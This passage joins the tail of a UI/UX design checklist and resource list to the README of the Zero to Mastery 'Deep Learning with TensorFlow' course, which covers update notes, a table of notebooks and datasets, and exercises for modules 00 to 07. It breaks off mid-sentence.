into what things are called as well? - Tactics - [ ] Have I explored LOTS of alternative versions of what I'm trying to design and by process of elimination decided on what works best? - [ ] If my project is slightly more complex than the average project, whether because of features or team size, have I spent enough time getting everyone on board with how the app should function by using low-fidelity designs? - [ ] If my project is a web-based project, have I fully considered the mobile version and used that as a way to force prioritization of features and layout? - [ ] If my project is an application, have a used a mobile-first approach to create simplicity up front? - [ ] If my project is more of a marketing site, have I designed and explored really nice and impactful desktop versions before confining myself too much with mobile versions? - [ ] If my project is an iOS app, have I made intentional decisions about where to follow the Apple HIG (human interface guidelines) or where to deviate from it? If I've deviated, do I have a VERY good reason to do so and are the stakeholders and developers OK with this? - [ ] If my project is an Android app, have I made the decision to exclusively use a material design system, or do I have strong reasons for not doing that? - [ ] Have I used very intentional placeholder copy and/or images in my designs that could support specific users, etc.? - [ ] Have I told a story with my designs (based on features) and could I effectively present my designs using what I've created? - [ ] Are my designs organized in a clear way to showcase specific features and flows? - [ ] Have I created the necessary prototypes to experiment with animations and interactions? - [ ] Do I need to create any separate prototype flows to describe certain functionality to stakeholders or developers? - [ ] Have a been an excellent communicator from the very beginning of the project and now that's it's time to hand off the design, I already know what my developer needs? - [UI Common Mistakes Checklist](https://twitter.com/vponamariov/status/1421014957110579203) 1. Poor contrast 2. Many primary buttons 3. Small clickable area 4. Poor paddings 5. Icon inconsistency 6. Text hard to read/scan 7. Wrong alignment 8. Not enough whitespace 9. Poor validation 10. Proximity violation 11. Long text lines 12. Redundant texts 13. Poor quality of screenshots 14. Small font-size 15. Taking full width when it's not necessary 16. No hovering state 17. Poor shadows 18. Layout shifts - Simple design: https://www.anthonyhobday.com/simpledesign/ (rec by [Hey designer](https://twitter.com/jonasdowney/status/1280620028774305792/photo/1)) - [Refactoring UI](https://refactoringui.com/) - Starting from Scratch - Choose a personality - Don't design too much - Detail comes later - Hierarchy - Size isn't everything - Emphasize by de-emphasizing - Layout and Spacing - Establish a spacing/sizing system - Designing Text - Keep your line length in check - Working with Color - Ditch hex for HSL - Creating Depth - (to be continued) - Emulate a light source - (to be continued) - Working with Images - (to be continued) - Finishing Touches - (to be continued) - [Tracy Osborn Checklist](https://www.youtube.com/watch?v=uKpfO331DY4&list=WL&index=4) - Reduce Clutter - use ColourLovers for color palettes - Fonts - max 2. Use fancy fonts sparingly - more whitespace - break up walls of text with bullet points - big clear CTA buttons - Headlines: talk benefits not details. short. - [Design Details: Principles of Design](https://designdetails.fm/episodes/220880) - Design Details' most downloaded episode of all time! - [7 Rules for Creating Gorgeous UI](https://learnui.design/blog/7-rules-for-creating-gorgeous-ui-part-1.html) - Light comes from the sky - Black and white first - Double your whitespace - Learn the methods of overlaying text on images - Make text pop — and un-pop - Use only good fonts - Steal like an artist - [How to design great keyboard shortcuts](https://knock.app/blog/how-to-design-great-keyboard-shortcuts) ### More Free Stuff - [Canva Design School](https://designschool.canva.com/) - [Degreeless.design](https://www.degreeless.design/#basics) - Free tier software https://free-for.dev/#/ - https://github.com/Vincenius/link-list - Demo HTML - https://github.com/cristurm/nyan-cat - https://github.com/netlify/netlify-drop-demo-site/archive/master.zip - [The Design Newsletter](https://learnui.design/newsletter.html) ### Paid Design Services of Note - Design Pickle - Manypixels - Contentfly (copywriting) ### Courses - for the 4 minute version (free): https://jgthms.com/web-design-in-4-minutes/ - you can do the opposite (pick out differences) with https://cantunsee.space/ - for the 4 hour version: https://frontendmasters.com/courses/design-for-developers/ - for the 4 week version: https://refactoringui.com/book - for the 4 month version: https://learnui.design/ 995/1495/2495. 48 lessons, 26 hours - weekly lessons drip fed over email https://hackdesign.org/ - i may be signing up for https://shiftnudge.com/ .. its $1800 though - upcoming design for devs book from adrian twarog https://www.enhanceui.com/ - meng to https://designcode.io/ui-design-for-developers - the non-designer's design book https://www.amazon.co.uk/Non-Designers-Design-Book-Robin-Williams/dp/0133966151 - Copywork - https://www.frontendpractice.com/ - https://www.codewell.cc/

# Zero to Mastery Deep Learning with TensorFlow All of the course materials for the [Zero to Mastery Deep Learning with TensorFlow course](https://dbourke.link/ZTMTFcourse). This course will teach you foundations of deep learning and TensorFlow as well as prepare you to pass the TensorFlow Developer Certification exam (optional). ## Important links * 🎥 Watch the [first 14-hours of the course on YouTube](https://dbourke.link/tfpart1part2) (notebooks 00, 01, 02) * 📖 Read the [beautiful online book version of the course](https://dev.mrdbourke.com/tensorflow-deep-learning/) * 💻 [Sign up](https://dbourke.link/ZTMTFcourse) to the full course on the Zero to Mastery Academy (videos for notebooks 03-10) * 🤔 Got questions about the course? Check out the [livestream Q&A for the course launch](https://youtu.be/rqAqcFcfeK8) * 📝 Get a quick overview of TensorFlow with the [TensorFlow Cheatsheet](https://zerotomastery.io/cheatsheets/tensorflow-cheat-sheet/) ## Contents of this page - [Fixes and updates](https://github.com/mrdbourke/tensorflow-deep-learning#fixes-and-updates) - [Course materials](https://github.com/mrdbourke/tensorflow-deep-learning#course-materials) (everything you'll need for completing the course) - [Course structure](https://github.com/mrdbourke/tensorflow-deep-learning#course-structure) (how this course is taught) - [Should you do this course?](https://github.com/mrdbourke/tensorflow-deep-learning#should-you-do-this-course) (decide by answering a couple simple questions) - [Prerequisites](https://github.com/mrdbourke/tensorflow-deep-learning#prerequisites) (what skills you'll need to do this course) - [Exercises & Extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-exercises---extra-curriculum) (challenges to practice what you've learned and resources to learn more) - [Ask a question](https://github.com/mrdbourke/tensorflow-deep-learning#ask-questions) (like to know more? go here) - [Status](https://github.com/mrdbourke/tensorflow-deep-learning#status) - [Log](https://github.com/mrdbourke/tensorflow-deep-learning#log) (updates, changes and progress) ## Fixes and updates * 26 May 2023 - Update [Notebook 08](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/08_introduction_to_nlp_in_tensorflow.ipynb) for new version of TensorFlow + update [Notebook 09](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/09_SkimLit_nlp_milestone_project_2.ipynb) for new version of TensorFlow & spaCy, see update notes for 09: https://github.com/mrdbourke/tensorflow-deep-learning/discussions/557 * 19 May 2023 - Update [Notebook 07](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/07_food_vision_milestone_project_1.ipynb) for new version of TensorFlow + fix model loading errors (TensorFlow 2.13+ required), see: https://github.com/mrdbourke/tensorflow-deep-learning/discussions/550 * 18 May 2023 - Update Notebook 06 for new TensorFlow namespaces (no major functionality change, just different imports), see: https://github.com/mrdbourke/tensorflow-deep-learning/discussions/549 * 12 May 2023 - Notebook 05 new namespaces added for `tf.keras.layers`, see https://github.com/mrdbourke/tensorflow-deep-learning/discussions/547, also add fix for issue with `model.load_weights()` in Notebook 05, see https://github.com/mrdbourke/tensorflow-deep-learning/issues/544, if you're having trouble saving/loading the model weights, also see https://github.com/mrdbourke/tensorflow-deep-learning/issues/553 * 12 May 2023 - Newer versions of TensorFlow (2.10+) use `learning_rate` instead of `lr` in `tf.keras.optimizers` (e.g. `tf.keras.optimizers.Adam(learning_rate=0.001)`, old `lr` still works but is deprecated * 02 Dec 2021 - Added fix for TensorFlow 2.7.0+ for notebook 02, [see discussion for more](https://github.com/mrdbourke/tensorflow-deep-learning/discussions/278) * 11 Nov 2021 - Added fix for TensorFlow 2.7.0+ for notebook 01, [see discussion for more](https://github.com/mrdbourke/tensorflow-deep-learning/discussions/256) ## Course materials This table is the ground truth for course materials. All the links you need for everything will be here. Key: * **Number:** The number of the target notebook (this may not match the video section of the course but it ties together all of the materials in the table) * **Notebook:** The notebook for a particular module with lots of code and text annotations (notebooks from the videos are based on these) * **Data/model:** Links to datasets/pre-trained models for the associated notebook * **Exercises & Extra-curriculum:** Each module comes with a set of exercises and extra-curriculum to help practice your skills and learn more, I suggest going through these **before** you move onto the next module * **Slides:** Although we focus on writing TensorFlow code, we sometimes use pretty slides to describe different concepts, you'll find them here **Note:** You can get all of the notebook code created during the videos in the [`video_notebooks`](https://github.com/mrdbourke/tensorflow-deep-learning/tree/main/video_notebooks) directory. | Number | Notebook | Data/Model | Exercises & Extra-curriculum | Slides | | ----- | ----- | ----- | ----- | ----- | | 00 | [TensorFlow Fundamentals](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/00_tensorflow_fundamentals.ipynb) | | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-00-tensorflow-fundamentals-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/00_introduction_to_tensorflow_and_deep_learning.pdf) | | 01 | [TensorFlow Regression](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/01_neural_network_regression_in_tensorflow.ipynb) | | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-01-neural-network-regression-with-tensorflow-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/01_neural_network_regression_with_tensorflow.pdf) | | 02 | [TensorFlow Classification](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/02_neural_network_classification_in_tensorflow.ipynb) | | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-02-neural-network-classification-with-tensorflow-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/02_neural_network_classification_with_tensorflow.pdf) | | 03 | [TensorFlow Computer Vision](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/03_convolutional_neural_networks_in_tensorflow.ipynb) | [`pizza_steak`](https://storage.googleapis.com/ztm_tf_course/food_vision/pizza_steak.zip), [`10_food_classes_all_data`](https://storage.googleapis.com/ztm_tf_course/food_vision/10_food_classes_all_data.zip) | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-03-computer-vision--convolutional-neural-networks-in-tensorflow-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/03_convolution_neural_networks_and_computer_vision_with_tensorflow.pdf) | | 04 | [Transfer Learning Part 1: Feature extraction](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/04_transfer_learning_in_tensorflow_part_1_feature_extraction.ipynb) | [`10_food_classes_10_percent`](https://storage.googleapis.com/ztm_tf_course/food_vision/10_food_classes_10_percent.zip) | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-04-transfer-learning-in-tensorflow-part-1-feature-extraction-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/04_transfer_learning_with_tensorflow_part_1_feature_extraction.pdf) | | 05 | [Transfer Learning Part 2: Fine-tuning](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/05_transfer_learning_in_tensorflow_part_2_fine_tuning.ipynb) | [`10_food_classes_10_percent`](https://storage.googleapis.com/ztm_tf_course/food_vision/10_food_classes_10_percent.zip), [`10_food_classes_1_percent`](https://storage.googleapis.com/ztm_tf_course/food_vision/10_food_classes_1_percent.zip), [`10_food_classes_all_data`](https://storage.googleapis.com/ztm_tf_course/food_vision/10_food_classes_all_data.zip) | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-05-transfer-learning-in-tensorflow-part-2-fine-tuning-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/05_transfer_learning_with_tensorflow_part_2_fine_tuning.pdf) | | 06 | [Transfer Learning Part 3: Scaling up](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/06_transfer_learning_in_tensorflow_part_3_scaling_up.ipynb) | [`101_food_classes_10_percent`](https://storage.googleapis.com/ztm_tf_course/food_vision/101_food_classes_10_percent.zip), [`custom_food_images`](https://storage.googleapis.com/ztm_tf_course/food_vision/custom_food_images.zip), [`fine_tuned_efficientnet_model`](https://storage.googleapis.com/ztm_tf_course/food_vision/06_101_food_class_10_percent_saved_big_dog_model.zip) | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-06-transfer-learning-in-tensorflow-part-3-scaling-up-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/06_transfer_learning_with_tensorflow_part_3_scaling_up.pdf) | | 07 | [Milestone Project 1: Food Vision 🍔👁](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/07_food_vision_milestone_project_1.ipynb), [Template (your challenge)](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/extras/TEMPLATE_07_food_vision_milestone_project_1.ipynb) | [`feature_extraction_mixed_precision_efficientnet_model`](https://storage.googleapis.com/ztm_tf_course/food_vision/07_efficientnetb0_feature_extract_model_mixed_precision.zip), [`fine_tuned_mixed_precision_efficientnet_model`](https://storage.googleapis.com/ztm_tf_course/food_vision/07_efficientnetb0_fine_tuned_101_classes_mixed_precision.zip) | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-07-milestone-project-1--food-vision-big-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/07_milestone_project_1_food_vision.pdf) | | 08 | [TensorFlow NLP Fundamentals](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/08_introduction_to_nlp_in_tensorflow.ipynb) | [`diaster_or_no_diaster_tweets`](https://storage.googleapis.com/ztm_tf_course/nlp_getting_started.zip), [`USE_feature_extractor_model`](https://storage.googleapis.com/ztm_tf_course/08_model_6_USE_feature_extractor.zip) | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-08-introduction-to-nlp-natural-language-processing-in-tensorflow-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/08_natural_language_processing_in_tensorflow.pdf) | | 09 | [Milestone Project 2: SkimLit 📄🔥](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/09_SkimLit_nlp_milestone_project_2.ipynb) | [`pubmed_RCT_200k_dataset`](https://github.com/Franck-Dernoncourt/pubmed-rct.git), [`skimlit_tribrid_model`](https://storage.googleapis.com/ztm_tf_course/skimlit/skimlit_tribrid_model.zip) | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-09-milestone-project-2-skimlit--exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/09_milestone_project_2_skimlit.pdf) | | 10 | [TensorFlow Time Series Fundamentals & Milestone Project 3: BitPredict 💰📈](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/10_time_series_forecasting_in_tensorflow.ipynb) | [`bitcoin_price_data_USD_2013-10-01_2021-05-18.csv`](https://raw.githubusercontent.com/mrdbourke/tensorflow-deep-learning/main/extras/BTC_USD_2013-10-01_2021-05-18-CoinDesk.csv) | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-10-time-series-fundamentals-and-milestone-project-3-bitpredict--exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/10_time_series_fundamentals_and_milestone_project_3_bitpredict.pdf) | | 11 | [Preparing to Pass the TensorFlow Developer Certification Exam](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/11_passing_the_tensorflow_developer_certification_exam.md) | | [Go to exercises & extra-curriculum](https://github.com/mrdbourke/tensorflow-deep-learning#-11-passing-the-tensorflow-developer-certification-exercises) | [Go to slides](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/11_passing_the_tensorflow_developer_certification_exam.pdf) | ## Course structure This course is code first. The goal is to get you writing deep learning code as soon as possible. It is taught with the following mantra: ``` Code -> Concept -> Code -> Concept -> Code -> Concept ``` This means we write code first then step through the concepts behind it. If you've got 6-months experience writing Python code and a willingness to learn (most important), you'll be able to do the course. ## Should you do this course? > Do you have 1+ years experience with deep learning and writing TensorFlow code? If yes, no you shouldn't, use your skills to build something. If no, move onto the next question. > Have you done at least one beginner machine learning course and would like to learn about deep learning/pass the TensorFlow Developer Certification? If yes, this course is for you. If no, go and do a beginner machine learning course and if you decide you want to learn TensorFlow, this page will still be here. ## Prerequisites > What do I need to know to go through this course? * **6+ months writing Python code.** Can you write a Python function which accepts and uses parameters? That’s good enough. If you don’t know what that means, spend another month or two writing Python code and then come back here. * **At least one beginner machine learning course.** Are you familiar with the idea of training, validation and test sets? Do you know what supervised learning is? Have you used pandas, NumPy or Matplotlib before? If no to any of these, I’d going through at least one machine learning course which teaches these first and then coming back. * **Comfortable using Google Colab/Jupyter Notebooks.** This course uses Google Colab throughout. If you have never used Google Colab before, it works very similar to Jupyter Notebooks with a few extra features. If you’re not familiar with Google Colab notebooks, I’d suggest going through the Introduction to Google Colab notebook. * **Plug:** The [Zero to Mastery beginner-friendly machine learning course](https://dbourke.link/ZTMMLcourse) (I also teach this) teaches all of the above (and this course is designed as a follow on). ## 🛠 Exercises & 📖 Extra-curriculum To prevent the course from being 100+ hours (deep learning is a broad field), various external resources for different sections are recommended to puruse under your own discretion. You can find solutions to the exercises in [`extras/solutions/`](https://github.com/mrdbourke/tensorflow-deep-learning/tree/main/extras/solutions), there's a notebook per set of exercises (one for 00, 01, 02... etc). Thank you to [Ashik Shafi](https://github.com/ashikshafi08) for all of the efforts creating these. --- ### 🛠 00. TensorFlow Fundamentals Exercises 1. Create a vector, scalar, matrix and tensor with values of your choosing using `tf.constant()`. 2. Find the shape, rank and size of the tensors you created in 1. 3. Create two tensors containing random values between 0 and 1 with shape `[5, 300]`. 4. Multiply the two tensors you created in 3 using matrix multiplication. 5. Multiply the two tensors you created in 3 using dot product. 6. Create a tensor with random values between 0 and 1 with shape `[224, 224, 3]`. 7. Find the min and max values of the tensor you created in 6 along the first axis. 8. Created a tensor with random values of shape `[1, 224, 224, 3]` then squeeze it to change the shape to `[224, 224, 3]`. 9. Create a tensor with shape `[10]` using your own choice of values, then find the index which has the maximum value. 10. One-hot encode the tensor you created in 9. ### 📖 00. TensorFlow Fundamentals Extra-curriculum * Read through the [list of TensorFlow Python APIs](https://www.tensorflow.org/api_docs/python/), pick one we haven't gone through in this notebook, reverse engineer it (write out the documentation code for yourself) and figure out what it does. * Try to create a series of tensor functions to calculate your most recent grocery bill (it's okay if you don't use the names of the items, just the price in numerical form). * How would you calculate your grocery bill for the month and for the year using tensors? * Go through the [TensorFlow 2.x quick start for beginners](https://www.tensorflow.org/tutorials/quickstart/beginner) tutorial (be sure to type out all of the code yourself, even if you don't understand it). * Are there any functions we used in here that match what's used in there? Which are the same? Which haven't you seen before? * Watch the video ["What's a tensor?"](https://www.youtube.com/watch?v=f5liqUk0ZTw) - a great visual introduction to many of the concepts we've covered in this notebook. --- ### 🛠 01. Neural network regression with TensorFlow Exercises 1. Create your own regression dataset (or make the one we created in "Create data to view and fit" bigger) and build fit a model to it. 2. Try building a neural network with 4 Dense layers and fitting it to your own regression dataset, how does it perform? 3. Try and improve the results we got on the insurance dataset, some things you might want to try include: * Building a larger model (how does one with 4 dense layers go?). * Increasing the number of units in each layer. * Lookup the documentation of [Adam](https://www.tensorflow.org/api_docs/python/tf/keras/optimizers/Adam) and find out what the first parameter is, what happens if you increase it by 10x? * What happens if you train for longer (say 300 epochs instead of 200)? 4. Import the [Boston pricing dataset](https://www.tensorflow.org/api_docs/python/tf/keras/datasets/boston_housing/load_data) from TensorFlow [`tf.keras.datasets`](https://www.tensorflow.org/api_docs/python/tf/keras/datasets) and model it. ### 📖 01. Neural network regression with TensorFlow Extra-curriculum * [MIT introduction deep learning lecture 1](https://www.youtube.com/watch?v=7sB052Pz0sQ&ab_channel=AlexanderAmini) - gives a great overview of what's happening behind all of the code we're running. * Reading: 1-hour of [Chapter 1 of Neural Networks and Deep Learning](http://neuralnetworksanddeeplearning.com/chap1.html) by Michael Nielson - a great in-depth and hands-on example of the intuition behind neural networks. * To practice your regression modelling with TensorFlow, I'd also encourage you to look through [Kaggle's datasets](https://www.kaggle.com/data), find a regression dataset which sparks your interest and try to model. --- ### 🛠 02. Neural network classification with TensorFlow Exercises 1. Play with neural networks in the [TensorFlow Playground](https://playground.tensorflow.org/) for 10-minutes. Especially try different values of the learning, what happens when you decrease it? What happens when you increase it? 2. Replicate the model pictured in the [TensorFlow Playground diagram](https://playground.tensorflow.org/#activation=relu&batchSize=10&dataset=circle&regDataset=reg-plane&learningRate=0.001&regularizationRate=0&noise=0&networkShape=6,6,6,6,6&seed=0.51287&showTestData=false&discretize=false&percTrainData=50&x=true&y=true&xTimesY=false&xSquared=false&ySquared=false&cosX=false&sinX=false&cosY=false&sinY=false&collectStats=false&problem=classification&initZero=false&hideText=false&regularization_hide=true&discretize_hide=true&regularizationRate_hide=true&percTrainData_hide=true&dataset_hide=true&problem_hide=true&noise_hide=true&batchSize_hide=true) below using TensorFlow code. Compile it using the Adam optimizer, binary crossentropy loss and accuracy metric. Once it's compiled check a summary of the model.  *Try this network out for yourself on the [TensorFlow Playground website](https://playground.tensorflow.org/#activation=relu&batchSize=10&dataset=circle&regDataset=reg-plane&learningRate=0.001&regularizationRate=0&noise=0&networkShape=6,6,6,6,6&seed=0.51287&showTestData=false&discretize=false&percTrainData=50&x=true&y=true&xTimesY=false&xSquared=false&ySquared=false&cosX=false&sinX=false&cosY=false&sinY=false&collectStats=false&problem=classification&initZero=false&hideText=false&regularization_hide=true&discretize_hide=true&regularizationRate_hide=true&percTrainData_hide=true&dataset_hide=true&problem_hide=true&noise_hide=true&batchSize_hide=true). Hint: there are 5 hidden layers but the output layer isn't pictured, you'll have to decide what the output layer should be based on the input data.* 3. Create a classification dataset using Scikit-Learn's [`make_moons()`](https://scikit-learn.org/stable/modules/generated/sklearn.datasets.make_moons.html) function, visualize it and then build a model to fit it at over 85% accuracy. 4. Train a model to get 88%+ accuracy on the fashion MNIST test set. Plot a confusion matrix to see the results after. 5. Recreate [TensorFlow's](https://www.tensorflow.org/api_docs/python/tf/keras/activations/softmax) [softmax activation function](https://en.wikipedia.org/wiki/Softmax_function) in your own code. Make sure it can accept a tensor and return that tensor after having the softmax function applied to it. 6. Create a function (or write code) to visualize multiple image predictions for the fashion MNIST at the same time. Plot at least three different images and their prediction labels at the same time. Hint: see the [classification tutorial in the TensorFlow documentation](https://www.tensorflow.org/tutorials/keras/classification) for ideas. 7. Make a function to show an image of a certain class of the fashion MNIST dataset and make a prediction on it. For example, plot 3 images of the `T-shirt` class with their predictions. ### 📖 02. Neural network classification with TensorFlow Extra-curriculum * Watch 3Blue1Brown's neural networks video 2: [*Gradient descent, how neural networks learn*](https://www.youtube.com/watch?v=IHZwWFHWa-w). After you're done, write 100 words about what you've learned. * If you haven't already, watch video 1: [*But what is a Neural Network?*](https://www.youtube.com/watch?v=aircAruvnKk). Note the activation function they talk about at the end. * Watch [MIT's introduction to deep learning lecture 1](https://youtu.be/njKP3FqW3Sk) (if you haven't already) to get an idea of the concepts behind using linear and non-linear functions. * Spend 1-hour reading [Michael Nielsen's Neural Networks and Deep Learning book](http://neuralnetworksanddeeplearning.com/index.html). * Read the [ML-Glossary documentation on activation functions](https://ml-cheatsheet.readthedocs.io/en/latest/activation_functions.html). Which one is your favourite? * After you've read the ML-Glossary, see which activation functions are available in TensorFlow by searching "tensorflow activation functions". --- ### 🛠 03. Computer vision & convolutional neural networks in TensorFlow Exercises 1. Spend 20-minutes reading and interacting with the [CNN explainer website](https://poloclub.github.io/cnn-explainer/). * What are the key terms? e.g. explain convolution in your own words, pooling in your own words 2. Play around with the "understanding hyperparameters" section in the [CNN explainer](https://poloclub.github.io/cnn-explainer/) website for 10-minutes. * What is the kernel size? * What is the stride? * How could you adjust each of these in TensorFlow code? 3. Take 10 photos of two different things and build your own CNN image classifier using the techniques we've built here. 4. Find an ideal learning rate for a simple convolutional neural network model on your the 10 class dataset. ### 📖 03. Computer vision & convolutional neural networks in TensorFlow Extra-curriculum * **Watch:** [MIT's Introduction to Deep Computer Vision](https://www.youtube.com/watch?v=uapdILWYTzE&list=PLtBw6njQRU-rwp5__7C0oIVt26ZgjG9NI&index=3&ab_channel=AlexanderAmini) lecture. This will give you a great intuition behind convolutional neural networks. * **Watch:** Deep dive on [mini-batch gradient descent](https://youtu.be/-_4Zi8fCZO4) by deeplearning.ai. If you're still curious about why we use **batches** to train models, this technical overview covers many of the reasons why. * **Read:** [CS231n Convolutional Neural Networks for Visual Recognition](https://cs231n.github.io/convolutional-networks/) class notes. This will give a very deep understanding of what's going on behind the scenes of the convolutional neural network architectures we're writing. * **Read:** ["A guide to convolution arithmetic for deep learning"](https://arxiv.org/pdf/1603.07285.pdf). This paper goes through all of the mathematics running behind the scenes of our convolutional layers. * **Code practice:** [TensorFlow Data Augmentation Tutorial](https://www.tensorflow.org/tutorials/images/data_augmentation). For a more in-depth introduction on data augmentation with TensorFlow, spend an hour or two reading through this tutorial. --- ### 🛠 04. Transfer Learning in TensorFlow Part 1: Feature Extraction Exercises 1. Build and fit a model using the same data we have here but with the MobileNetV2 architecture feature extraction ([`mobilenet_v2_100_224/feature_vector`](https://tfhub.dev/google/imagenet/mobilenet_v2_100_224/feature_vector/4)) from TensorFlow Hub, how does it perform compared to our other models? 2. Name 3 different image classification models on TensorFlow Hub that we haven't used. 3. Build a model to classify images of two different things you've taken photos of. * You can use any feature extraction layer from TensorFlow Hub you like for this. * You should aim to have at least 10 images of each class, for example to build a fridge versus oven classifier, you'll want 10 images of fridges and 10 images of ovens. 4. What is the current best performing model on ImageNet? * Hint: you might want to check [sotabench.com](https://www.sotabench.com) for this. ### 📖 04. Transfer Learning in TensorFlow Part 1: Feature Extraction Extra-curriculum * Read through the [TensorFlow Transfer Learning Guide](https://www.tensorflow.org/tutorials/images/transfer_learning) and define the main two types of transfer learning in your own words. * Go through the [Transfer Learning with TensorFlow Hub tutorial](https://www.tensorflow.org/tutorials/images/transfer_learning_with_hub) on the TensorFlow website and rewrite all of the code yourself into a new Google Colab notebook making comments about what each step does along the way. * We haven't covered fine-tuning with TensorFlow Hub in this notebook, but if you'd like to know more, go through the [fine-tuning a TensorFlow Hub model tutorial](https://www.tensorflow.org/hub/tf2_saved_model#fine-tuning) on the TensorFlow homepage.How to fine-tune a tensorflow hub model: * Look into [experiment tracking with Weights & Biases](https://www.wandb.com/experiment-tracking), how could you integrate it with our existing TensorBoard logs? --- ### 🛠 05. Transfer Learning in TensorFlow Part 2: Fine-tuning Exercises 1. Use feature-extraction to train a transfer learning model on 10% of the Food Vision data for 10 epochs using [`tf.keras.applications.EfficientNetB0`](https://www.tensorflow.org/api_docs/python/tf/keras/applications/EfficientNetB0) as the base model. Use the [`ModelCheckpoint`](https://www.tensorflow.org/api_docs/python/tf/keras/callbacks/ModelCheckpoint) callback to save the weights to file. 2. Fine-tune the last 20 layers of the base model you trained in 2 for another 10 epochs. How did it go? 3. Fine-tune the last 30 layers of the base model you trained in 2 for another 10 epochs. How did it go? 4. Write a function to visualize an image from any dataset (train or test file) and any class (e.g. "steak", "pizza"... etc), visualize it and make a prediction on it using a trained model. ### 📖 05. Transfer Learning in TensorFlow Part 2: Fine-tuning Extra-curriculum * Read the [documentation on data augmentation](https://www.tensorflow.org/tutorials/images/data_augmentation) in TensorFlow. * Read the [ULMFit paper](https://arxiv.org/abs/1801.06146) (technical) for an introduction to the concept of freezing and unfreezing different layers. * Read up on learning rate scheduling (there's a [TensorFlow callback](https://www.tensorflow.org/api_docs/python/tf/keras/callbacks/LearningRateScheduler) for this), how could this influence our model training? * If you're training for longer, you probably want to reduce the learning rate as you go... the closer you get to the bottom of the hill, the smaller steps you want to take. Imagine it like finding a coin at the bottom of your couch. In the beginning your arm movements are going to be large and the closer you get, the smaller your movements become. --- ### 🛠 06. Transfer Learning in TensorFlow Part 3: Scaling-up Exercises 1. Take 3 of your own photos of food and use the trained model to make predictions on them, share your predictions with the other students in Discord and show off your Food Vision model 🍔👁. 2. Train a feature-extraction transfer learning model for 10 epochs on the same data and compare its performance versus a model which used feature extraction for 5 epochs and fine-tuning for 5 epochs (like we've used in this notebook). Which method is better? 3. Recreate the first model (the feature extraction model) with [`mixed_precision`](https://www.tensorflow.org/guide/mixed_precision) turned on. * Does it make the model train faster? * Does it effect the accuracy or performance of our model? * What's the advantages of using `mixed_precision` training? ### 📖 06. Transfer Learning in TensorFlow Part 3: Scaling-up Extra-curriculum * Spend 15-minutes reading up on the [EarlyStopping callback](https://www.tensorflow.org/api_docs/python/tf/keras/callbacks/EarlyStopping). What does it do? How could we use it in our model training? * Spend an hour reading about [Streamlit](https://www.streamlit.io/). What does it do? How might you integrate some of the things we've done in this notebook in a Streamlit app? --- ### 🛠 07. Milestone Project 1: 🍔👁 Food Vision Big™ Exercises **Note:** The chief exercise for Milestone Project 1 is to finish the "TODO" sections in the [Milestone Project 1 Template notebook](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/extras/TEMPLATE_07_food_vision_milestone_project_1.ipynb). After doing so, move onto the following. 1. Use the same evaluation techniques on the large-scale Food Vision model as you did in the previous notebook ([Transfer Learning Part 3: Scaling up](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/06_transfer_learning_in_tensorflow_part_3_scaling_up.ipynb)). More specifically, it would be good to see: * A confusion matrix between all of the model's predictions and true labels. * A graph showing the f1-scores of each class. * A visualization of the model making predictions on various images and comparing the predictions to the ground truth. * For example, plot a sample image from the test dataset and have the title of the plot show the prediction, the prediction probability and the ground truth label. * **Note:** To compare predicted labels to test labels, it might be a good idea when loading the test data to set `shuffle=False` (so the ordering of test data is preserved alongside the order of predicted labels). 2. Take 3 of your own photos of food and use the Food Vision model to make predictions on them. How does it go? Share your images/predictions with the other students. 3. Retrain the model (feature extraction and fine-tuning) we trained in this notebook, except this time use [`EfficientNetB4`](https://www.tensorflow.org/api_docs/python/tf/keras/applications/EfficientNetB4) as the base model instead of `EfficientNetB0`. Do you notice an improvement in performance? Does it take longer to train? Are there any tradeoffs to consider? 4. Name one important benefit of mixed precision training, how does this benefit take 